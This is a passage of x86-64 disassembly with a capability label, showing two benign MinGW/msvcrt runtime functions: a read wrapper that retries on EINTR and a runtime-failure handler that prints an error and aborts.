mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rbp, rcx
mov rdi, rdx
mov esi, r8d
jmp 0x475e28
call r12
cmp dword [rax], 4
jne 0x475e46
mov rcx, rbp
call fcn.00475d00
mov r8d, esi
mov rdx, rdi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd rbx, eax
cmp rbx, 0xffffffffffffffff
je 0x475e20
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x4ab2d0
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp fcn.00401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0041f600
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.0041f600
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530